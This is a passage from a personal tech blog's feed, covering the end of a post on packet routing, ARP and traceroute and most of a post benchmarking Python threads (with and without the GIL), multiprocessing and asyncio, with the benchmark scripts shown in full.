<li><p>If the destination is outside the local subnet:</p>
<ol>
<li><p>The OS consults the <strong>routing table</strong> (<code>ip route show</code>).</p>
</li>
<li><p>If there’s a <strong>specific route</strong> for the network, the packet is sent to the <strong>next hop</strong> specified there.</p>
</li>
<li><p>Otherwise, it uses the <strong>default route</strong> (usually your router/gateway).</p>
</li>
<li><p>The OS performs <strong>ARP for the gateway IP</strong>, finds the router’s MAC, and wraps the packet in an Ethernet frame with:</p>
<ul>
<li><p><strong>Destination MAC = router MAC</strong></p>
</li>
<li><p><strong>Destination IP = actual target IP</strong></p>
</li>
</ul>
</li>
<li><p>Packet is sent to the router.</p>
</li>
</ol>
</li>
</ul>
<pre><code class="lang-bash"><span class="hljs-comment"># Get the IP address</span>
[nix-shell:~]$ dig +short google.com
172.217.26.46

<span class="hljs-comment"># Check the Route table</span>
[nix-shell:~]$ ip route show
default via 192.168.1.254 dev wlp0s20f3 proto dhcp src 192.168.1.111 metric 600 
172.17.0.0/16 dev docker0 proto kernel scope link src 172.17.0.1 linkdown 
172.18.0.0/16 dev br-5d681ffed7e7 proto kernel scope link src 172.18.0.1 
172.19.0.0/16 dev br-bd6d6f551404 proto kernel scope link src 172.19.0.1 
172.20.0.0/16 dev br-b46a2861832b proto kernel scope link src 172.20.0.1 linkdown 
192.168.1.0/24 dev wlp0s20f3 proto kernel scope link src 192.168.1.111 metric 600 
192.168.49.0/24 dev br-5ca7647dd12d proto kernel scope link src 192.168.49.1 linkdown 

<span class="hljs-comment"># No specific route for google's IP. So arp the default route</span>
[nix-shell:~]$ arp -n
Address                  HWtype  HWaddress           Flags Mask            Iface
172.19.0.2               ether   02:42:ac:13:00:02   C                     br-bd6d6f551404
172.18.0.2               ether   02:42:ac:12:00:02   C                     br-5d681ffed7e7
192.168.1.137            ether   40:e1:e4:0e:0a:81   C                     wlp0s20f3
192.168.1.254            ether   c8:9c:bb:52:bc:80   C                     wlp0s20f3

<span class="hljs-comment"># here we can see the MAC address of the router to be c8:9c:bb:52:bc:80</span>
</code></pre>
<hr />
<h2 id="heading-step-3-routers-along-the-path"><strong>Step 3: Routers Along the Path</strong></h2>
<ul>
<li><p>Each router repeats the same process:</p>
<ol>
<li><p>Checks its routing table for the <strong>next hop</strong>.</p>
</li>
<li><p>If the next hop is on a connected network, ARPs for the MAC.</p>
</li>
<li><p>If not, forwards to another router toward the destination.</p>
</li>
</ol>
</li>
<li><p><strong>At each hop</strong>, the <strong>MAC addresses change</strong>, but the <strong>IP addresses remain unchanged</strong>.</p>
</li>
</ul>
<pre><code class="lang-bash">[nix-shell:~]$ dig +short google.com 
172.217.26.46

[nix-shell:~]$ traceroute 172.217.26.46
traceroute to 172.217.26.46 (172.217.26.46), 30 hops max, 60 byte packets
 1  * _gateway (192.168.1.254)  3.753 ms  3.743 ms
 2  27.34.24.1 (27.34.24.1)  6.681 ms  9.079 ms  8.718 ms
 3  be-82-8.45.gwc-ndc-core-01.wlink.com.np (202.79.45.8)  10.175 ms  10.165 ms  10.156 ms
 4  ae-20-136.41.gwj-htda-core-01.wlink.com.np (202.79.41.136)  10.077 ms  10.860 ms  10.851 ms
 5  ae-21-139.41.gwj-btwl-core-01.wlink.com.np (202.79.41.139)  12.951 ms  12.941 ms  12.932 ms
 6  ae52-ipt-bhwa-01.wlink.com.np (72.9.128.67)  12.908 ms  11.520 ms  11.491 ms
 7  * * *
 8  142.250.174.2 (142.250.174.2)  30.058 ms  24.876 ms  31.027 ms
 9  192.178.83.35 (192.178.83.35)  38.327 ms 192.178.83.245 (192.178.83.245)  37.036 ms 192.178.83.35 (192.178.83.35)  31.181 ms
10  142.251.49.121 (142.251.49.121)  30.083 ms 142.251.49.115 (142.251.49.115)  30.032 ms 142.251.49.121 (142.251.49.121)  30.047 ms
11  nrt12s17-in-f46.1e100.net (172.217.26.46)  23.404 ms  26.114 ms  20.930 ms
</code></pre>
<ul>
<li><p><strong>Hop 1</strong> – Your <strong>home router</strong> (default gateway). The packet leaves your local network.</p>
</li>
<li><p><strong>Hops 2–6</strong> – Routers inside <strong>ISP’s network</strong> (<a target="_blank" href="http://wlink.com.np"><code>wlink.com.np</code></a>) forwarding the packet toward the global internet.</p>
</li>
<li><p><strong>Hop 7</strong> – No response (<code>* * *</code>), a router that blocks traceroute probes. But packets passes through.</p>
</li>
<li><p><strong>Hops 8–10</strong> – <strong>Global internet routers</strong>, moving the packet toward Google. Multiple IPs indicate <strong>load balancing</strong>.</p>
</li>
<li><p><strong>Hop 11</strong> – <strong>Final destination</strong>: the Google server (<code>172.217.26.46</code>), where the packet arrives successfully.</p>
</li>
</ul>
<hr />
<h2 id="heading-step-4-destination-network"><strong>Step 4: Destination Network</strong></h2>
<ul>
<li><p>When the packet finally reaches the router directly connected to the destination network:</p>
<ol>
<li><p>The router performs subnet masking to see the destination IP is <strong>on its local subnet</strong>.</p>
</li>
<li><p>It performs <strong>ARP</strong> to find the MAC of the actual destination machine.</p>
</li>
<li><p>Wraps the packet with that MAC and sends it to the server.</p>
</li>
</ol>
</li>
<li><p><strong>At this point, the packet has reached the actual host</strong>, and the process is complete.</p>
</li>
</ul>
<h1 id="heading-next-steps-building-the-networks">Next Steps: Building the Networks</h1>
<p>Our <code>traceroute</code> gave us a direct glimpse inside the infrastructure of an ISP, <a target="_blank" href="http://wlink.com.np"><code>wlink.com.np</code></a>, and the global backbone of Google. This raises a crucial question: What elevates a network from a simple collection of routers to an official <strong>Internet Service Provider</strong>? How does an entity like WorldLink get the authority to manage its own segment of the internet, with its own unique identifiers and blocks of public IP addresses?</p>
<p>In the next part of this series, we will answer that question. We’ll move from analyzing packets to building the networks that carry them, providing a practical, step-by-step checklist on <strong>how to build your own ISP</strong> from the ground up.</p>
<p>If you want a proper tutorial by a professional, you can check out Hussein Nassar’s <a target="_blank" href="https://www.youtube.com/watch?v=iV5fajdpb7c">Network Routing</a> video. This video was one of the inspiration for creating this blog series.</p>
]]></content:encoded></item><item><title><![CDATA[Python Concurrency: Benchmarking threads with GIL enabled-disabled, Processes, and Async]]></title><description><![CDATA[This blog is generated as a usecase of this other blog(Automating blog creation with own agent vs mcp) that helped me automate the writing of this blog.

Alright, folks. Let's talk about Python concurrency. And by "talk," I mean "I'm going to rant ab...]]></description><link>https://blog.buddhag.com.np/benchmarking-gil-threads-multprocessing-async</link><guid isPermaLink="true">https://blog.buddhag.com.np/benchmarking-gil-threads-multprocessing-async</guid><category><![CDATA[asyncio]]></category><category><![CDATA[backend]]></category><category><![CDATA[benchmarking]]></category><category><![CDATA[concurrency]]></category><category><![CDATA[engineering]]></category><category><![CDATA[GIL]]></category><category><![CDATA[multiprocessing]]></category><category><![CDATA[performance]]></category><category><![CDATA[Python]]></category><category><![CDATA[Threading]]></category><dc:creator><![CDATA[buddha gautam]]></dc:creator><pubDate>Mon, 09 Jun 2025 02:29:58 GMT</pubDate><content:encoded><![CDATA[<blockquote>
<p>This blog is generated as a usecase of this other blog(<a target="_blank" href="https://blog.buddhag.com.np/automating-blog-creation-mcp-vs-creating-own-agent">Automating blog creation with own agent vs mcp</a>) that helped me automate the writing of this blog.</p>
</blockquote>
<p>Alright, folks. Let's talk about Python concurrency. And by "talk," I mean "I'm going to rant about it while showing you some actual data. We're diving deep into the GIL, threads (with and without that pesky GIL), processes, and async, and we're going to benchmark the living hell out of them. Prepare for graphs. Prepare for truth. Prepare for me to question my life choices.</p>
<h2 id="heading-the-gil-pythons-arch-nemesis-or-why-your-cpu-isnt-doing-what-you-think-its-doing">The GIL: Python's Arch-Nemesis (or, Why Your CPU Isn't Doing What You Think It's Doing)</h2>
<p>The Global Interpreter Lock (GIL). You've heard the whispers. The boogeyman of Python performance. In short, it's a mutex that allows only one thread to hold control of the Python interpreter at any given time. This means that even if you have a shiny new multi-core CPU, your Python code might be running on only <em>one</em> core at a time.</p>
<p>Why does it exist? Historical reasons. It simplifies memory management and makes C extensions easier to write. Is it ideal? Absolutely not. But it's what we've got (until now... more on that later).</p>
<h2 id="heading-the-contenders-threads-processes-and-async-oh-my">The Contenders: Threads, Processes, and Async (Oh My!)</h2>
<p>We're going to pit these concurrency methods against each other in two scenarios: CPU-bound tasks and I/O-bound tasks.</p>
<ul>
<li><p><strong>Threads (GIL Enabled):</strong> The standard Python threading library. Good for I/O, terrible for CPU.</p>
</li>
<li><p><strong>Threads (GIL Disabled - Experimental):</strong> Python 3.13 (experimental) allows you to disable the GIL on a per-interpreter basis. Let's see if it lives up to the hype!</p>
</li>
<li><p><strong>Processes (Multiprocessing):</strong> Spawns separate Python processes, each with its own interpreter and memory space. Bypasses the GIL, great for CPU-bound tasks, but has overhead.</p>
</li>
<li><p><strong>Asyncio:</strong> Single-threaded, concurrent execution using coroutines. Excellent for I/O-bound tasks, requires careful coding to avoid blocking the event loop.</p>
</li>
</ul>
<h2 id="heading-benchmarking-setup-the-nitty-gritty-aka-show-me-the-code">Benchmarking Setup: The Nitty-Gritty (aka, Show Me the Code!)</h2>
<pre><code class="lang-python"><span class="hljs-keyword">import</span> argparse
<span class="hljs-keyword">import</span> asyncio
<span class="hljs-keyword">import</span> sys

<span class="hljs-keyword">from</span> runners <span class="hljs-keyword">import</span> (
    run_threading_cpu,
    run_multiprocessing_cpu,
    run_threading_io,
    run_asyncio_io,
)

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">check_gil_enabled</span>():</span>
    <span class="hljs-keyword">import</span> sys
    <span class="hljs-keyword">try</span>:
        <span class="hljs-keyword">return</span> sys._is_gil_enabled()
    <span class="hljs-keyword">except</span> AttributeError:
        <span class="hljs-keyword">return</span> <span class="hljs-literal">True</span>

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">main</span>():</span>
    parser = argparse.ArgumentParser(description=<span class="hljs-string">"Benchmark CPU/IO tasks with concurrency."</span>)
    parser.add_argument(<span class="hljs-string">"--task"</span>, choices=[<span class="hljs-string">"cpu"</span>, <span class="hljs-string">"io"</span>], required=<span class="hljs-literal">True</span>, help=<span class="hljs-string">"Type of benchmark to run."</span>)
    parser.add_argument(<span class="hljs-string">"--method"</span>, choices=[<span class="hljs-string">"threading"</span>, <span class="hljs-string">"multiprocessing"</span>, <span class="hljs-string">"asyncio"</span>], required=<span class="hljs-literal">True</span>, help=<span class="hljs-string">"Concurrency method."</span>)
    parser.add_argument(<span class="hljs-string">"--workers"</span>, type=int, default=<span class="hljs-number">4</span>, help=<span class="hljs-string">"Number of workers/threads/processes/tasks."</span>)
    parser.add_argument(<span class="hljs-string">"--n"</span>, type=int, default=<span class="hljs-number">100000</span>, help=<span class="hljs-string">"Upper limit for CPU-bound task (prime counting)."</span>)
    parser.add_argument(<span class="hljs-string">"--duration"</span>, type=float, default=<span class="hljs-number">0.01</span>, help=<span class="hljs-string">"Sleep duration for IO-bound task in seconds."</span>)
    parser.add_argument(<span class="hljs-string">"--json"</span>, action=<span class="hljs-string">"store_true"</span>, help=<span class="hljs-string">"Output results in JSON format"</span>)

    args = parser.parse_args()

    gil_status = check_gil_enabled()
    results = {
        <span class="hljs-string">"gil_enabled"</span>: gil_status,
        <span class="hljs-string">"task"</span>: args.task,
        <span class="hljs-string">"method"</span>: args.method,
        <span class="hljs-string">"workers"</span>: args.workers,
        <span class="hljs-string">"duration"</span>: <span class="hljs-literal">None</span>,
        <span class="hljs-string">"total_primes"</span>: <span class="hljs-literal">None</span>
    }

    <span class="hljs-keyword">if</span> args.task == <span class="hljs-string">"cpu"</span>:
        <span class="hljs-keyword">if</span> args.method == <span class="hljs-string">"threading"</span>:
            duration, total = run_threading_cpu(args.n, args.workers)
            results[<span class="hljs-string">"duration"</span>] = duration
            results[<span class="hljs-string">"total_primes"</span>] = total
        <span class="hljs-keyword">elif</span> args.method == <span class="hljs-string">"multiprocessing"</span>:
            duration, total = run_multiprocessing_cpu(args.n, args.workers)
            results[<span class="hljs-string">"duration"</span>] = duration
            results[<span class="hljs-string">"total_primes"</span>] = total
        <span class="hljs-keyword">else</span>:
            print(<span class="hljs-string">"Asyncio is not suitable for CPU-bound tasks."</span>)
            sys.exit(<span class="hljs-number">1</span>)

    <span class="hljs-keyword">elif</span> args.task == <span class="hljs-string">"io"</span>:
        <span class="hljs-keyword">if</span> args.method == <span class="hljs-string">"threading"</span>:
            duration = run_threading_io(args.workers, args.duration)
            results[<span class="hljs-string">"duration"</span>] = duration
        <span class="hljs-keyword">elif</span> args.method == <span class="hljs-string">"asyncio"</span>:
            duration = asyncio.run(run_asyncio_io(args.workers, args.duration))
            results[<span class="hljs-string">"duration"</span>] = duration
        <span class="hljs-keyword">else</span>:
            print(<span class="hljs-string">"Multiprocessing is generally not used for IO-bound tasks."</span>)
            sys.exit(<span class="hljs-number">1</span>)

    <span class="hljs-keyword">if</span> args.json:
        <span class="hljs-keyword">import</span> json
        print(json.dumps(results))
    <span class="hljs-keyword">else</span>:
        <span class="hljs-comment"># Traditional output format</span>
        print(<span class="hljs-string">f"GIL Enabled: <span class="hljs-subst">{gil_status}</span>"</span>)
        <span class="hljs-keyword">if</span> args.task == <span class="hljs-string">"cpu"</span>:
            print(<span class="hljs-string">f"<span class="hljs-subst">{args.method.capitalize()}</span> CPU-bound took <span class="hljs-subst">{results[<span class="hljs-string">'duration'</span>]:<span class="hljs-number">.3</span>f}</span>s, total primes: <span class="hljs-subst">{results[<span class="hljs-string">'total_primes'</span>]}</span>"</span>)
        <span class="hljs-keyword">else</span>:
            print(<span class="hljs-string">f"<span class="hljs-subst">{args.method.capitalize()}</span> IO-bound took <span class="hljs-subst">{results[<span class="hljs-string">'duration'</span>]:<span class="hljs-number">.3</span>f}</span>s"</span>)

<span class="hljs-keyword">if</span> __name__ == <span class="hljs-string">"__main__"</span>:
    main()
</code></pre>
<p>This script lets you choose between benchmarking <strong>CPU-bound</strong> tasks (like counting prime numbers for no good reason) or <strong>IO-bound</strong> tasks (like pretending to sleep on the job using <code>time.sleep</code>). Because nothing says productivity like simulating waiting.</p>
<h3 id="heading-performance-bound-benchmark-prime-counter-edition">Performance bound Benchmark (Prime Counter Edition)</h3>
<p>This one brute-forces its way through checking for prime numbers — not because the world needs more primes, but because it's a classic way to hog the CPU. The goal isn’t mathematical insight; it’s to simulate CPU-heavy computation across threads or processes and observe how Python handles it under the GIL (or without it). Expect this to burn cycles, max out cores, and make your laptop sound like it’s trying to take off.</p>
<pre><code class="lang-python"><span class="hljs-keyword">import</span> matplotlib.pyplot <span class="hljs-keyword">as</span> plt
<span class="hljs-keyword">import</span> subprocess
<span class="hljs-keyword">import</span> json
<span class="hljs-keyword">import</span> pandas <span class="hljs-keyword">as</span> pd
<span class="hljs-keyword">from</span> typing <span class="hljs-keyword">import</span> List, Dict
<span class="hljs-keyword">import</span> time

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">run_experiment</span>(<span class="hljs-params">task_type: str, method: str, workers_list: List[int], python_version: str = <span class="hljs-string">"3.12"</span>, num_runs: int = <span class="hljs-number">5</span></span>) -&gt; List[Dict]:</span>
    <span class="hljs-string">"""
    Run the benchmark experiment multiple times and collect results
    Args:
        task_type: "cpu" or "io"
        method: "threading", "multiprocessing", or "asyncio"
        workers_list: List of worker counts to test
        python_version: "3.12" (with GIL) or "3.13" (no GIL)
        num_runs: Number of times to repeat each experiment
    """</span>
    results = []

    <span class="hljs-keyword">for</span> workers <span class="hljs-keyword">in</span> workers_list:
        <span class="hljs-keyword">for</span> run <span class="hljs-keyword">in</span> range(num_runs):
            <span class="hljs-keyword">if</span> task_type == <span class="hljs-string">"cpu"</span>:
                cmd = [<span class="hljs-string">f"python<span class="hljs-subst">{python_version}</span>"</span>, <span class="hljs-string">"main.py"</span>, <span class="hljs-string">"--task"</span>, <span class="hljs-string">"cpu"</span>, <span class="hljs-string">"--method"</span>, method, 
                      <span class="hljs-string">"--workers"</span>, str(workers), <span class="hljs-string">"--n"</span>, <span class="hljs-string">"10000"</span>, <span class="hljs-string">"--json"</span>]
            <span class="hljs-keyword">else</span>:
                cmd = [<span class="hljs-string">f"python<span class="hljs-subst">{python_version}</span>"</span>, <span class="hljs-string">"main.py"</span>, <span class="hljs-string">"--task"</span>, <span class="hljs-string">"io"</span>, <span class="hljs-string">"--method"</span>, method,
                      <span class="hljs-string">"--workers"</span>, str(workers), <span class="hljs-string">"--duration"</span>, <span class="hljs-string">"0.1"</span>, <span class="hljs-string">"--json"</span>]

            <span class="hljs-comment"># Print the command being run</span>
            print(<span class="hljs-string">f"\nRunning: <span class="hljs-subst">{<span class="hljs-string">' '</span>.join(cmd)}</span>"</span>)

            output = subprocess.run(cmd, capture_output=<span class="hljs-literal">True</span>, text=<span class="hljs-literal">True</span>)

            <span class="hljs-keyword">try</span>:
                result = json.loads(output.stdout)
                result[<span class="hljs-string">'run'</span>] = run  <span class="hljs-comment"># Add run number to results</span>
                result[<span class="hljs-string">'python_version'</span>] = python_version
                result[<span class="hljs-string">'gil_enabled'</span>] = python_version == <span class="hljs-string">"3.12"</span>  <span class="hljs-comment"># True for 3.12, False for 3.13</span>
                results.append(result)
            <span class="hljs-keyword">except</span> json.JSONDecodeError:
                print(<span class="hljs-string">f"Error parsing output: <span class="hljs-subst">{output.stdout}</span>"</span>)
                print(<span class="hljs-string">f"Stderr: <span class="hljs-subst">{output.stderr}</span>"</span>)

            <span class="hljs-comment"># Small delay between runs</span>
            time.sleep(<span class="hljs-number">0.1</span>)

    <span class="hljs-keyword">return</span> results

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">create_visualizations</span>(<span class="hljs-params">results: List[Dict]</span>):</span>
    <span class="hljs-string">"""
    Create visualizations comparing different concurrency methods
    """</span>
    df = pd.DataFrame(results)

    <span class="hljs-comment"># Set style</span>
    plt.style.use(<span class="hljs-string">'default'</span>)

    <span class="hljs-comment"># Create figure with subplots</span>
    fig = plt.figure(figsize=(<span class="hljs-number">15</span>, <span class="hljs-number">10</span>))

    <span class="hljs-comment"># 1. Performance by Workers for each task type and Python version</span>
    ax1 = plt.subplot(<span class="hljs-number">221</span>)
    <span class="hljs-keyword">for</span> task <span class="hljs-keyword">in</span> df[<span class="hljs-string">'task'</span>].unique():
        task_data = df[df[<span class="hljs-string">'task'</span>] == task]
        <span class="hljs-keyword">for</span> method <span class="hljs-keyword">in</span> task_data[<span class="hljs-string">'method'</span>].unique():
            <span class="hljs-keyword">for</span> version <span class="hljs-keyword">in</span> task_data[<span class="hljs-string">'python_version'</span>].unique():
                data = task_data[(task_data[<span class="hljs-string">'method'</span>] == method) &amp; 
                                (task_data[<span class="hljs-string">'python_version'</span>] == version)]
                means = data.groupby(<span class="hljs-string">'workers'</span>)[<span class="hljs-string">'duration'</span>].mean()
                std = data.groupby(<span class="hljs-string">'workers'</span>)[<span class="hljs-string">'duration'</span>].std()
                label = <span class="hljs-string">f"<span class="hljs-subst">{task}</span>-<span class="hljs-subst">{method}</span>-Python<span class="hljs-subst">{version}</span>"</span>
                ax1.errorbar(means.index, means.values, yerr=std.values, 
                           label=label, marker=<span class="hljs-string">'o'</span>)

    ax1.set_title(<span class="hljs-string">'Performance by Number of Workers'</span>)
    ax1.set_xlabel(<span class="hljs-string">'Number of Workers'</span>)
    ax1.set_ylabel(<span class="hljs-string">'Duration (seconds)'</span>)
    ax1.legend(bbox_to_anchor=(<span class="hljs-number">1.05</span>, <span class="hljs-number">1</span>), loc=<span class="hljs-string">'upper left'</span>)
    ax1.grid(<span class="hljs-literal">True</span>)

    <span class="hljs-comment"># 2. Method Comparison (Box Plot)</span>
    ax2 = plt.subplot(<span class="hljs-number">222</span>)
    df.boxplot(column=<span class="hljs-string">'duration'</span>, by=[<span class="hljs-string">'method'</span>, <span class="hljs-string">'python_version'</span>], ax=ax2)
    ax2.set_title(<span class="hljs-string">'Duration Distribution by Method and Python Version'</span>)
    ax2.set_ylabel(<span class="hljs-string">'Duration (seconds)'</span>)
    plt.xticks(rotation=<span class="hljs-number">45</span>)

    <span class="hljs-comment"># 3. Speedup Analysis</span>
    ax3 = plt.subplot(<span class="hljs-number">223</span>)
    <span class="hljs-keyword">for</span> task <span class="hljs-keyword">in</span> df[<span class="hljs-string">'task'</span>].unique():
        task_data = df[df[<span class="hljs-string">'task'</span>] == task]
        <span class="hljs-keyword">for</span> method <span class="hljs-keyword">in</span> task_data[<span class="hljs-string">'method'</span>].unique():
            <span class="hljs-keyword">for</span> version <span class="hljs-keyword">in</span> task_data[<span class="hljs-string">'python_version'</span>].unique():
                data = task_data[(task_data[<span class="hljs-string">'method'</span>] == method) &amp; 
                                (task_data[<span class="hljs-string">'python_version'</span>] == version)]
                baseline = data[data[<span class="hljs-string">'workers'</span>] == min(data[<span class="hljs-string">'workers'</span>])][<span class="hljs-string">'duration'</span>].mean()
                speedup = data.groupby(<span class="hljs-string">'workers'</span>)[<span class="hljs-string">'duration'</span>].mean().apply(<span class="hljs-keyword">lambda</span> x: baseline / x)
                label = <span class="hljs-string">f"<span class="hljs-subst">{task}</span>-<span class="hljs-subst">{method}</span>-Python<span class="hljs-subst">{version}</span>"</span>
                ax3.plot(speedup.index, speedup.values, label=label, marker=<span class="hljs-string">'o'</span>)

    ax3.set_title(<span class="hljs-string">'Speedup Analysis'</span>)
    ax3.set_xlabel(<span class="hljs-string">'Number of Workers'</span>)
    ax3.set_ylabel(<span class="hljs-string">'Speedup Factor'</span>)
    ax3.legend(bbox_to_anchor=(<span class="hljs-number">1.05</span>, <span class="hljs-number">1</span>), loc=<span class="hljs-string">'upper left'</span>)
    ax3.grid(<span class="hljs-literal">True</span>)

    <span class="hljs-comment"># 4. GIL Impact Analysis (Python Version Comparison)</span>
    ax4 = plt.subplot(<span class="hljs-number">224</span>)
    version_comparison = df.groupby([<span class="hljs-string">'method'</span>, <span class="hljs-string">'python_version'</span>])[<span class="hljs-string">'duration'</span>].mean().unstack()
    version_comparison.plot(kind=<span class="hljs-string">'bar'</span>, ax=ax4)
    ax4.set_title(<span class="hljs-string">'Average Duration by Python Version (GIL vs No GIL)'</span>)
    ax4.set_xlabel(<span class="hljs-string">'Method'</span>)
    ax4.set_ylabel(<span class="hljs-string">'Duration (seconds)'</span>)
    plt.xticks(rotation=<span class="hljs-number">45</span>)

    plt.tight_layout()
    plt.savefig(<span class="hljs-string">'performance_analysis.png'</span>, dpi=<span class="hljs-number">300</span>, bbox_inches=<span class="hljs-string">'tight'</span>)
    plt.close()

    <span class="hljs-comment"># Print summary statistics</span>
    print(<span class="hljs-string">"\nSummary Statistics:"</span>)
    <span class="hljs-keyword">for</span> task <span class="hljs-keyword">in</span> df[<span class="hljs-string">'task'</span>].unique():
        print(<span class="hljs-string">f"\n<span class="hljs-subst">{task.upper()}</span> Tasks:"</span>)
        task_data = df[df[<span class="hljs-string">'task'</span>] == task]
        <span class="hljs-keyword">for</span> method <span class="hljs-keyword">in</span> task_data[<span class="hljs-string">'method'</span>].unique():
            <span class="hljs-keyword">for</span> version <span class="hljs-keyword">in</span> task_data[<span class="hljs-string">'python_version'</span>].unique():
                data = task_data[(task_data[<span class="hljs-string">'method'</span>] == method) &amp; 
                                (task_data[<span class="hljs-string">'python_version'</span>] == version)]
                gil_status = <span class="hljs-string">"with GIL"</span> <span class="hljs-keyword">if</span> version == <span class="hljs-string">"3.12"</span> <span class="hljs-keyword">else</span> <span class="hljs-string">"no GIL"</span>
                print(<span class="hljs-string">f"\n<span class="hljs-subst">{method.capitalize()}</span> (Python <span class="hljs-subst">{version}</span> <span class="hljs-subst">{gil_status}</span>):"</span>)
                print(<span class="hljs-string">f"Average duration: <span class="hljs-subst">{data[<span class="hljs-string">'duration'</span>].mean():<span class="hljs-number">.3</span>f}</span> seconds"</span>)
                print(<span class="hljs-string">f"Standard deviation: <span class="hljs-subst">{data[<span class="hljs-string">'duration'</span>].std():<span class="hljs-number">.3</span>f}</span> seconds"</span>)
                <span class="hljs-keyword">if</span> task == <span class="hljs-string">'cpu'</span> <span class="hljs-keyword">and</span> <span class="hljs-string">'total_primes'</span> <span class="hljs-keyword">in</span> data:
                    print(<span class="hljs-string">f"Average primes found: <span class="hljs-subst">{data[<span class="hljs-string">'total_primes'</span>].mean():<span class="hljs-number">.0</span>f}</span>"</span>)

<span class="hljs-keyword">if</span> __name__ == <span class="hljs-string">"__main__"</span>:
    <span class="hljs-comment"># Define worker configurations to test</span>
    workers_list = [<span class="hljs-number">1</span>, <span class="hljs-number">2</span>, <span class="hljs-number">4</span>, <span class="hljs-number">8</span>, <span class="hljs-number">16</span>]

    <span class="hljs-comment"># Run experiments with Python 3.12 (with GIL)</span>
    print(<span class="hljs-string">"Running experiments with Python 3.12 (with GIL)..."</span>)
    results_3_12 = []
    <span class="hljs-keyword">for</span> task_type <span class="hljs-keyword">in</span> [<span class="hljs-string">"cpu"</span>, <span class="hljs-string">"io"</span>]:
        <span class="hljs-keyword">for</span> method <span class="hljs-keyword">in</span> [<span class="hljs-string">"threading"</span>, <span class="hljs-string">"multiprocessing"</span>] <span class="hljs-keyword">if</span> task_type == <span class="hljs-string">"cpu"</span> <span class="hljs-keyword">else</span> [<span class="hljs-string">"threading"</span>, <span class="hljs-string">"asyncio"</span>]:
            results_3_12.extend(run_experiment(task_type, method, workers_list, <span class="hljs-string">"3.12"</span>))

    <span class="hljs-comment"># Run experiments with Python 3.13 (no GIL)</span>
    print(<span class="hljs-string">"\nRunning experiments with Python 3.13 (no GIL)..."</span>)
    results_3_13 = []
    <span class="hljs-keyword">for</span> task_type <span class="hljs-keyword">in</span> [<span class="hljs-string">"cpu"</span>, <span class="hljs-string">"io"</span>]:
        <span class="hljs-keyword">for</span> method <span class="hljs-keyword">in</span> [<span class="hljs-string">"threading"</span>, <span class="hljs-string">"multiprocessing"</span>] <span class="hljs-keyword">if</span> task_type == <span class="hljs-string">"cpu"</span> <span class="hljs-keyword">else</span> [<span class="hljs-string">"threading"</span>, <span class="hljs-string">"asyncio"</span>]:
            results_3_13.extend(run_experiment(task_type, method, workers_list, <span class="hljs-string">"3.13"</span>))

    <span class="hljs-comment"># Combine all results</span>
    all_results = results_3_12 + results_3_13

    <span class="hljs-comment"># Create visualizations</span>
    create_visualizations(all_results)
    print(<span class="hljs-string">"\nVisualizations saved as 'performance_analysis.png'"</span>)
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1749436875040/2133d898-03c1-421d-a576-30b07eb91ec1.png" alt class="image--center mx-auto" /></p>
<p>Fig- performance benchmark with accross python3.12(gil enabled) vs python3.13(gil disabled)</p>
<h3 id="heading-performance-results-the-good-the-bad-and-the-asynchronous">Performance Results: The Good, The Bad, and The Asynchronous</h3>
<p>Here’s how our contenders fared in the performance tests.</p>
<ul>
<li><p><strong>For CPU-Bound Tasks (the prime numbers):</strong></p>
<ul>
<li><p><strong>Multiprocessing</strong> was the undisputed king. It showed near-linear speedup as we added more processes, proving that for heavy computation, bypassing the GIL by using separate processes is the most effective strategy.</p>
</li>
<li><p><strong>Threading (with GIL)</strong> was, as expected, terrible. The execution time remained flat regardless of how many threads we threw at it. The GIL ensured only one thread could compute at a time, rendering the extra cores useless.</p>
</li>
<li><p><strong>Threading (no GIL)</strong> was the exciting one. It showed a significant performance boost over its GIL-enabled counterpart, scaling nicely with more threads. This is the poster child for the <code>no-GIL</code> promise: true parallelism for CPU-bound work within a single process.</p>
</li>
</ul>
</li>
<li><p><strong>For I/O-Bound Tasks (the waiting game):</strong></p>
<ul>
<li><p><strong>Asyncio</strong> was the star performer. It handled waiting on multiple tasks with minimal overhead, making it the fastest and most efficient choice for I/O-heavy applications.</p>
</li>
<li><p><strong>Threading (with or without GIL)</strong> also performed very well. Since the GIL is released during I/O operations anyway, both versions scaled effectively. This confirms that for I/O tasks, standard threading remains a simple and very viable option.</p>
</li>
</ul>
</li>
</ul>
<p>So far, so good. The <code>no-GIL</code> mode seems to deliver on its promise for CPU-bound work. But then we ran the corruption benchmark, and things got weird.</p>
<h3 id="heading-corruption-benchmark-aka-race-condition-rodeo">Corruption Benchmark (a.k.a. “Race Condition Rodeo”)</h3>
<p>This test isn’t about speed — it’s about chaos. Here, multiple threads (or tasks, or processes, depending on your weapon of choice) increment a shared counter. It <em>should</em> be simple: increment a number N times. But in the absence of proper synchronization — and especially when the GIL is disabled — all bets are off. We’re trying to surface the hidden dragons: race conditions, memory corruption, and that subtle existential dread when your final count is… not quite right.</p>
<p>The goal is to demonstrate <strong>why the GIL was necessary</strong> — not because Python devs love locks, but because shared memory without guardrails is basically inviting entropy into your program.</p>
<pre><code class="lang-python"><span class="hljs-keyword">import</span> matplotlib.pyplot <span class="hljs-keyword">as</span> plt
<span class="hljs-keyword">import</span> subprocess
<span class="hljs-keyword">import</span> time

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">run_experiment</span>(<span class="hljs-params">python_version, num_runs=<span class="hljs-number">5</span></span>):</span>
    <span class="hljs-string">"""
    Run the data corruption experiment multiple times and collect results
    """</span>
    results = []
    <span class="hljs-keyword">for</span> _ <span class="hljs-keyword">in</span> range(num_runs):
        <span class="hljs-keyword">if</span> python_version == <span class="hljs-string">"3.13"</span>:
            cmd = [<span class="hljs-string">"python3.13"</span>, <span class="hljs-string">"data_corruption.py"</span>]
        <span class="hljs-keyword">else</span>:
            cmd = [<span class="hljs-string">"python3.12"</span>, <span class="hljs-string">"data_corruption.py"</span>]

        output = subprocess.run(cmd, capture_output=<span class="hljs-literal">True</span>, text=<span class="hljs-literal">True</span>)
        lines = output.stdout.split(<span class="hljs-string">'\n'</span>)

        <span class="hljs-comment"># Parse the results</span>
        actual_value = <span class="hljs-literal">None</span>
        expected_value = <span class="hljs-literal">None</span>
        execution_time = <span class="hljs-literal">None</span>

        <span class="hljs-keyword">for</span> line <span class="hljs-keyword">in</span> lines:
